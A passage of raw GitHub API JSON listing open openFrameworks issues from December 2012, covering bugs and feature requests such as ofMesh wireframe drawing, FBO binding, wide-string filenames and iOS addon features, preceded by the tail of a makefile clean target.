bin/classes.dex.d; fi\r\n\tif [ -f bin/OFActivity.ap_ ]; then rm bin/OFActivity.ap_; fi\r\n\tif [ -f bin/OFActivity.ap_.d ]; then rm bin/OFActivity.ap_.d; fi\r\n\tif [ -f bin/OFActivity-debug.apk ]; then rm bin/OFActivity-debug.apk; fi\r\n\tif [ -f bin/OFActivity-debug-unaligned.apk ]; then rm bin/OFActivity-debug-unaligned.apk; fi\r\n\tif [ -f bin/OFActivity-debug-unaligned.apk.d ]; then rm bin/OFActivity-debug-unaligned.apk.d; fi\r\n\tif [ -f bin/$(APPNAME).apk ]; then rm bin/$(APPNAME).apk; fi\r\n\tif [ -f bin/build.prop ]; then rm bin/build.prop; fi\r\n\tif [ -f bin/jarlist.cache ]; then rm bin/jarlist.cache; fi\r\n\tif [ \"$(shell uname)\" = \"MINGW32_NT-6.1\" ]; then \\\r\n\t$(ANT_BIN)/ant debug; \\"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1744","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1744/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1744/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1744/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1744","id":9173651,"number":1744,"title":"ofMesh drawWireframe","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-12-11T09:27:24Z","updated_at":"2012-12-11T16:46:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i came across an issue today when trying to draw a ofMesh wireframe.\r\nwhen the wireframe is drawn inside ofGLRenderer, the draw mode is always set to GL_LINES.\r\nbut the result was an incomplete wireframe.\r\nwhen i set the draw mode to GL_LINE_STRIP it was rendering correctly.\r\n\r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofGLRenderer.cpp#L101\r\n\r\ni think when choosing between GL_LINES and GL_LINE_STRIP to draw wireframes,\r\nit depends on the way the triangle vertices are stores,\r\nOF_PRIMITIVE_TRIANGLES, OF_PRIMITIVE_TRIANGLE_STRIP etc...\r\nbut this is a bit of a guess atm... \r\nhas anyone else come across this?\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1743","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1743/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1743/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1743/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1743","id":9171240,"number":1743,"title":"ofDirectory.listDir() Does not support wide string (vs2010)","user":{"login":"yty","id":841770,"avatar_url":"https://secure.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-12-11T07:35:07Z","updated_at":"2012-12-11T07:45:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"of 0.73+vs2010.....ofDirectory Can not get wide-string file name correctly..\r\n\r\nFor example:\r\n中文.jpg   (Chinese)\r\n日本語.jpg (Japanese)\r\n한국의.jpg (Korean)\r\n\r\nBut codeblock10.05 but no problem ..\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1742","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1742/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1742/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1742/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1742","id":9166709,"number":1742,"title":"Need stack based handling of FBO bindings?","user":{"login":"timscaffidi","id":177125,"avatar_url":"https://secure.gravatar.com/avatar/2ad43b65cb02eca2b722133681647492?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2ad43b65cb02eca2b722133681647492","url":"https://api.github.com/users/timscaffidi","html_url":"https://github.com/timscaffidi","followers_url":"https://api.github.com/users/timscaffidi/followers","following_url":"https://api.github.com/users/timscaffidi/following","gists_url":"https://api.github.com/users/timscaffidi/gists{/gist_id}","starred_url":"https://api.github.com/users/timscaffidi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timscaffidi/subscriptions","organizations_url":"https://api.github.com/users/timscaffidi/orgs","repos_url":"https://api.github.com/users/timscaffidi/repos","events_url":"https://api.github.com/users/timscaffidi/events{/privacy}","received_events_url":"https://api.github.com/users/timscaffidi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-12-11T02:08:37Z","updated_at":"2012-12-11T02:08:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I ran into the inverted bitmap string issue (#1474) again when I was drawing to an FBO which was itself drawn inside another FBO. The \"nested\" FBO was actually an internal FBO used by an addon's draw method, neatly hidden away from view.\r\n\r\nexample:\r\n\r\n```c++\r\nvoid testApp::draw(){\r\n fbo1.begin();\r\n addon.draw(); // binds draws then releases an internal FBO\r\n\r\n ofDrawBitmapString(...);\r\n fbo1.end();\r\n\r\n fbo1.draw(); // inverted text\r\n}\r\n```\r\nThe outer FBO remains bound after the internal one releases, so openGl must be using a stack like mechanism. I can tell because the FBO contains the text, it is just inverted. The OF gl renderer only has support for one FBO, so once the internal one gets released, it thinks no FBO is bound, and won't re-invert the bitmap strings.\r\n\r\nI fixed the issue by calling `fbo1.end(); fbo1.begin();` prior to drawing the bitmap string, but a proper fix would be using a stack to keep track of bound FBOs. This will also affect anything else using the `currentFbo` variable of `ofGLRenderer`.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1741","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1741/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1741/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1741/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1741","id":9163635,"number":1741,"title":"look into adding video streaming support to AVFoundationPlayer","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":2,"created_at":"2012-12-10T23:36:29Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"the initial forum topic is here,\r\nhttp://forum.openframeworks.cc/index.php/topic,11497"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1740","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1740/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1740/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1740/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1740","id":9162545,"number":1740,"title":"add gryoscope support to ofxiOS","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":2,"created_at":"2012-12-10T22:58:52Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"the gyro example should be merged with the accelerometer example.\r\n\r\nrequested in #1733"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1739","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1739/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1739/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1739/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1739","id":9162485,"number":1739,"title":"integrate twitter and facebook support into ofxiOS","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":0,"created_at":"2012-12-10T22:57:08Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"requested in #1733"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1737","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1737/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1737/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1737/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1737","id":9162344,"number":1737,"title":"ios main.h should show how to enable retina, depth, anti-aliasing etc...","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":0,"created_at":"2012-12-10T22:53:20Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"the below should be included in all ios examples so users know the options are there and can use them when needed.\n\n`ofAppiPhoneWindow *window = new ofAppiPhoneWindow();`\n`window->enableDepthBuffer();`\n`window->enableRetinaSupport();`\n`window->enableAntiAliasing(4);`\n\nrequested in #1733"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1736","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1736/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1736/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1736/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1736","id":9162199,"number":1736,"title":"ofxiPhoneImagePicker should be able to load images from image library","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-12-10T22:49:07Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"requested in #1733"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1735","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1735/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1735/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1735/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1735","id":9143466,"number":1735,"title":"ofxiPhone needs an ofImage->UIImage function","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/l